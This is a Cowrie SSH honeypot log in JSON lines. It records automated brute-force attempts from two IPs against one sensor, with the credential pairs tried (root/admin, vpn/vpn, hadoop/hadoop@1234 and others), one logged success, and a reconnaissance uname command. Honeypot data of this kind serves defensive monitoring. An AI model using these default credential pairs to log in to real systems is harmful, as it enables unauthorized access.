{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:21.979390Z","src_ip":"192.109.200.78","session":"ea8e41126a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59708,"dst_ip":"159.203.135.109","dst_port":22,"session":"92437eb31de1","protocol":"ssh","message":"New connection: 176.65.139.95:59708 (159.203.135.109:22) [session: 92437eb31de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:23.658800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:23.663913Z","src_ip":"176.65.139.95","session":"92437eb31de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:23.772810Z","src_ip":"176.65.139.95","session":"92437eb31de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:24.076764Z","src_ip":"176.65.139.95","session":"92437eb31de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47090,"dst_ip":"159.203.135.109","dst_port":22,"session":"323833e86ac5","protocol":"ssh","message":"New connection: 192.109.200.78:47090 (159.203.135.109:22) [session: 323833e86ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:24.334408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:24.339246Z","src_ip":"192.109.200.78","session":"323833e86ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:24.421740Z","src_ip":"192.109.200.78","session":"323833e86ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:24.962945Z","src_ip":"192.109.200.78","session":"323833e86ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:25.358607Z","src_ip":"176.65.139.95","session":"92437eb31de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:26.052688Z","src_ip":"192.109.200.78","session":"323833e86ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50818,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfba1d38c49f","protocol":"ssh","message":"New connection: 192.109.200.78:50818 (159.203.135.109:22) [session: bfba1d38c49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:28.568527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:28.572791Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:28.654197Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:28.904689Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:29.112653Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:29.115903Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:29.205231Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:29.208960Z","src_ip":"192.109.200.78","session":"bfba1d38c49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36652,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c8f3fcab870","protocol":"ssh","message":"New connection: 176.65.139.95:36652 (159.203.135.109:22) [session: 2c8f3fcab870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:30.319404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:30.327045Z","src_ip":"176.65.139.95","session":"2c8f3fcab870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:30.418679Z","src_ip":"176.65.139.95","session":"2c8f3fcab870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:30.707576Z","src_ip":"176.65.139.95","session":"2c8f3fcab870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:31.803159Z","src_ip":"176.65.139.95","session":"2c8f3fcab870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50820,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd6627359fd2","protocol":"ssh","message":"New connection: 192.109.200.78:50820 (159.203.135.109:22) [session: bd6627359fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:32.782372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:32.867251Z","src_ip":"192.109.200.78","session":"bd6627359fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:32.948995Z","src_ip":"192.109.200.78","session":"bd6627359fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:33.196057Z","src_ip":"192.109.200.78","session":"bd6627359fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:34.282428Z","src_ip":"192.109.200.78","session":"bd6627359fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b025950ee7a4","protocol":"ssh","message":"New connection: 192.109.200.78:50834 (159.203.135.109:22) [session: b025950ee7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:36.944613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:36.950510Z","src_ip":"192.109.200.78","session":"b025950ee7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:37.034062Z","src_ip":"192.109.200.78","session":"b025950ee7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36656,"dst_ip":"159.203.135.109","dst_port":22,"session":"10b173e8316e","protocol":"ssh","message":"New connection: 176.65.139.95:36656 (159.203.135.109:22) [session: 10b173e8316e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:37.131337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:37.144958Z","src_ip":"176.65.139.95","session":"10b173e8316e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:37.275995Z","src_ip":"176.65.139.95","session":"10b173e8316e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:37.288990Z","src_ip":"192.109.200.78","session":"b025950ee7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:38.203353Z","src_ip":"176.65.139.95","session":"10b173e8316e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:38.374814Z","src_ip":"192.109.200.78","session":"b025950ee7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:39.292555Z","src_ip":"176.65.139.95","session":"10b173e8316e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33432,"dst_ip":"159.203.135.109","dst_port":22,"session":"af9b0f838cc4","protocol":"ssh","message":"New connection: 192.109.200.78:33432 (159.203.135.109:22) [session: af9b0f838cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:41.027324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:41.151936Z","src_ip":"192.109.200.78","session":"af9b0f838cc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:41.155935Z","src_ip":"192.109.200.78","session":"af9b0f838cc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:41.794859Z","src_ip":"192.109.200.78","session":"af9b0f838cc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:42.882052Z","src_ip":"192.109.200.78","session":"af9b0f838cc4","protocol":"ssh"}
